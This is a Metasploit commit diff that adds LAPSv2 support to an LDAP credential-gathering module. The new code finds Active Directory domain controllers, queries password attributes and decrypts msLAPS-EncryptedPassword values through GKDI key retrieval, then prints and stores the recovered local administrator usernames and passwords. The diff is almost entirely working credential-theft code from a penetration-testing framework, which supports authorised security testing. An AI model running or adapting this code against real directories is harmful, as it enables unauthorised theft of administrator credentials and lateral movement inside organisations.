Skip to content

Commit 0e11346

Browse files
committed
Add LAPSv2 support to ldap_paswords
1 parent 1dfd3fd commit 0e11346

File tree

1 file changed

+170
-4
lines changed

1 file changed

+170
-4
lines changed

modules/auxiliary/gather/ldap_passwords.rb

Lines changed: 170 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,17 +3,21 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6+
require 'rasn1'
7+
68
class MetasploitModule < Msf::Auxiliary
79

810
include Msf::Auxiliary::Scanner
911
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::MsGkdi
1013
include Msf::Exploit::Remote::LDAP
1114
include Msf::OptionalSession::LDAP
1215

1316
include Msf::Exploit::Deprecated
1417
moved_from 'auxiliary/gather/ldap_hashdump'
1518

16-
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
19+
LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800'.freeze
20+
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
1721

1822
def initialize(info = {})
1923
super(
@@ -62,6 +66,61 @@ def print_prefix
6266
"#{peer.ljust(21)} - "
6367
end
6468

69+
def get_ad_ds_domain_info(ldap)
70+
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
71+
72+
root_dse = ldap.search(
73+
ignore_server_caps: true,
74+
base: '',
75+
scope: Net::LDAP::SearchScope_BaseObject,
76+
attributes: %i[configurationNamingContext supportedCapabilities supportedExtension]
77+
)&.first
78+
79+
unless root_dse[:supportedcapabilities].map(&:to_s).include?(LDAP_CAP_ACTIVE_DIRECTORY_OID)
80+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
81+
return nil
82+
end
83+
84+
unless root_dse[:supportedextension].include?(Net::LDAP::WhoamiOid)
85+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
86+
return nil
87+
end
88+
89+
print_status('The target LDAP server is an Active Directory Domain Controller.')
90+
91+
unless ldap.search(base: '', filter: '(objectClass=domain)').nil?
92+
# this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
93+
# means we'll be getting information from more than one domain which breaks some core assumptions
94+
# see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
95+
fail_with(Msf::Module::Failure::NoTarget, 'The target LDAP server is a Global Catalog.')
96+
end
97+
98+
# our_domain, _, our_username = ldap.ldapwhoami.to_s.delete_prefix('u:').partition('\\')
99+
100+
target_domains = ldap.search(
101+
base: root_dse[:configurationnamingcontext].first.to_s,
102+
filter: "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ldap.base_dn}))"
103+
)
104+
unless target_domains.present?
105+
fail_with(Msf::Module::Failure::NotFound, 'The target LDAP server did not return its NETBIOS domain name.')
106+
end
107+
108+
unless target_domains.length == 1
109+
fail_with(Msf::Module::Failure::NotFound, "The target LDAP server returned #{target_domains.length} NETBIOS domain names.")
110+
end
111+
112+
target_domain = target_domains.first
113+
114+
{
115+
netbios_name: target_domain[:netbiosname].first.to_s,
116+
dns_name: target_domain[:dnsroot].first.to_s
117+
}
118+
end
119+
120+
def ad_domain?
121+
@ad_ds_domain_info.nil?
122+
end
123+
65124
# PoC using ldapsearch(1):
66125
#
67126
# Retrieve root DSE with base DN:
@@ -89,6 +148,8 @@ def run_host(_ip)
89148
vprint_status("Using the '#{datastore['USER_ATTR']}' attribute as the username")
90149
end
91150

151+
@ad_ds_domain_info = get_ad_ds_domain_info(ldap)
152+
92153
print_status("Searching base DN: #{base_dn}")
93154
entries_returned += ldap_search(ldap, base_dn, base: base_dn)
94155
end
@@ -106,10 +167,12 @@ def run_host(_ip)
106167
def ldap_search(ldap, base_dn, args)
107168
entries_returned = 0
108169
creds_found = 0
170+
# TODO: use a filter when we're targeting AD DS
109171
def_args = {
110-
base: '',
111172
return_result: false,
112-
attributes: %w[* + -]
173+
scope: Net::LDAP::SearchScope_WholeSubtree,
174+
# build a filter that searches for any object that contains at least one of the attributes we're interested in
175+
filter: "(|#{password_attributes.map { "(#{_1}=*)" }.join})"
113176
}
114177

115178
begin
@@ -233,6 +296,12 @@ def process_hash(entry, attr)
233296
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
234297
# In the meantime, dump the base64 encoded value.
235298
private_data = Base64.strict_encode64(private_data)
299+
when 'mslaps-encryptedpassword'
300+
lapsv2 = process_result_lapsv2_encrypted(entry)
301+
next if lapsv2.nil?
302+
303+
username = lapsv2['n']
304+
private_data = lapsv2['p']
236305
when 'userpkcs12'
237306
# if we get non printable chars, encode into base64
238307
if (private_data =~ /[^[:print:]]/).nil?
@@ -271,7 +340,7 @@ def process_hash(entry, attr)
271340
# highlight unresolved hashes
272341
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
273342

274-
print_good("Credentials (#{jtr_format || 'password'}) found in #{attr}: #{username}:#{private_data}")
343+
print_good("Credentials (#{jtr_format.blank? ? 'password' : jtr_format}) found in #{attr}: #{username}:#{private_data}")
275344

276345
report_creds(username, private_data, jtr_format)
277346
creds_found += 1
@@ -300,7 +369,104 @@ def report_creds(username, private_data, jtr_format)
300369
username: username
301370
}.merge(service_data)
302371

372+
if @ad_ds_domain_info
373+
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
374+
credential_data[:realm_value] = @ad_ds_domain_info[:dns_name]
375+
end
376+
303377
cl = create_credential_and_login(credential_data)
304378
cl.respond_to?(:core_id) ? cl.core_id : nil
305379
end
380+
381+
def process_result_lapsv2_encrypted(result)
382+
encrypted_block = result['msLAPS-EncryptedPassword'].first
383+
384+
encrypted_blob = LAPSv2EncryptedPasswordBlob.read(encrypted_block)
385+
content_info = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(encrypted_blob.buffer.pack('C*'))
386+
encrypted_data = encrypted_blob.buffer[content_info.to_der.bytesize...].pack('C*')
387+
enveloped_data = content_info.enveloped_data
388+
recipient_info = enveloped_data[:recipient_infos][0]
389+
kek_identifier = recipient_info[:kekri][:kekid]
390+
391+
key_identifier = kek_identifier[:key_identifier]
392+
key_identifier = GkdiGroupKeyIdentifier.read(key_identifier.value)
393+
394+
other_key_attribute = kek_identifier[:other]
395+
unless other_key_attribute[:key_attr_id].value == '1.3.6.1.4.1.311.74.1'
396+
vprint_error('msLAPS-EncryptedPassword parsing failed: Unexpected OtherKeyAttribute#key_attr_id OID.')
397+
return
398+
end
399+
400+
ms_key_attribute = MicrosoftKeyAttribute.parse(other_key_attribute[:key_attr].value)
401+
kv_pairs = ms_key_attribute[:content][:content][:content][:kv_pairs]
402+
sid = kv_pairs.value.find { |kv_pair| kv_pair[:name].value == 'SID' }[:value]&.value
403+
404+
sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(
405+
"O:SYG:SYD:(A;;CCDC;;;#{sid})(A;;DC;;;WD)",
406+
domain_sid: sid.rpartition('-').first
407+
)
408+
409+
if @gkdi_client.nil?
410+
@gkdi_client = connect_gkdi(username: datastore['LDAPUsername'], password: datastore['LDAPPassword'])
411+
end
412+
413+
begin
414+
kek = gkdi_get_kek(
415+
client: @gkdi_client,
416+
security_descriptor: sd,
417+
key_identifier: key_identifier
418+
)
419+
rescue StandardError => e
420+
elog('Failed to obtain the KEK from GKDI', error: e)
421+
print_error("Failed to obtain the KEK from GKDI: #{e.class} - #{e}")
422+
return nil
423+
end
424+
425+
algorithm_identifier = content_info.enveloped_data[:encrypted_content_info][:content_encryption_algorithm]
426+
# TODO: validate that AES-GCM is in use
427+
iv = algorithm_identifier.gcm_parameters[:aes_nonce].value
428+
encrypted_key = recipient_info[:kekri][:encrypted_key].value
429+
430+
key = Rex::Crypto::KeyWrap::NIST_SP_800_38f.aes_unwrap(kek, encrypted_key)
431+
432+
cipher = OpenSSL::Cipher::AES.new(key.length * 8, :GCM)
433+
cipher.decrypt
434+
cipher.key = key
435+
cipher.iv_len = iv.length
436+
cipher.iv = iv
437+
cipher.auth_tag = encrypted_data[-16...]
438+
plaintext = cipher.update(encrypted_data[...-16]) + cipher.final
439+
JSON.parse(RubySMB::Field::Stringz16.read(plaintext).value)
440+
end
441+
442+
# https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
443+
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
444+
class LAPSv2EncryptedPasswordBlob < BinData::Record
445+
endian :little
446+
447+
file_time :timestamp
448+
uint32 :buffer_size
449+
uint32 :flags
450+
uint8_array :buffer, initial_length: :buffer_size
451+
end
452+
453+
class MicrosoftKeyAttribute < RASN1::Model
454+
class Sequence < RASN1::Model
455+
class KVPairs < RASN1::Model
456+
sequence :content, content: [
457+
utf8_string(:name),
458+
utf8_string(:value)
459+
]
460+
end
461+
462+
sequence :content, constructed: true, content: [
463+
sequence_of(:kv_pairs, KVPairs)
464+
]
465+
end
466+
467+
sequence :content, content: [
468+
objectid(:key_attr_id),
469+
model(:key_attr, Sequence)
470+
]
471+
end
306472
end

0 commit comments

Comments
 (0)